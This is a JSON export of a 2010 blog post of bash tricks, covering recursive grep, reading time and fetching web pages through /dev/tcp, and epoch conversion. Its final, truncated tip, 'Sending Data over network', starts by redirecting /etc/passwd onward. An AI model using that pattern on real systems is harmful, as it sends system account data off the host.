{"id":136,"date":"2010-12-21T16:17:22","date_gmt":"2010-12-21T16:17:22","guid":{"rendered":"http:\/\/blogs.silicontechnix.com\/?p=136"},"modified":"2013-11-26T06:45:48","modified_gmt":"2013-11-26T06:45:48","slug":"advance-bash-scriptiong-tricks","status":"publish","type":"post","link":"https:\/\/blogs.silicontechnix.com\/?p=136","title":{"rendered":"Advance Bash Scriptiong Tricks"},"content":{"rendered":"<p>Here are some of my Linux bash shell\u00a0findings, I hope it is good for everyone<\/p>\n<p><strong>Find some text in current folder, sub-folders and files:-<\/strong><\/p>\n<pre class=\"brush: bash;\">find . | xargs grep 'string_to_find'<\/pre>\n<p><strong>Getting current time from some time server:-<\/strong><\/p>\n<pre class=\"brush: bash;\">cat &lt; \/dev\/tcp\/time.nist.gov\/13<\/pre>\n<p><strong>Convert Unix Timestamp (aka Epoch):-<\/strong><\/p>\n<pre class=\"brush: bash;\">date -d @1292946804\r\nTue Dec 21 20:53:24 2010<\/pre>\n<p><strong>Downloading a URL:-<\/strong><\/p>\n<pre class=\"brush: bash;\">exec 5&lt;&gt;\/dev\/tcp\/www.net.cn\/80\r\necho -e \"GET \/ HTTP\/1.0\\n\" &gt;&amp;5\r\ncat &lt;&amp;5<\/pre>\n<p><strong>Sending Data over network:-<\/strong><\/p>\n<pre class=\"brush: bash;\">cat \/etc\/passwd &gt; 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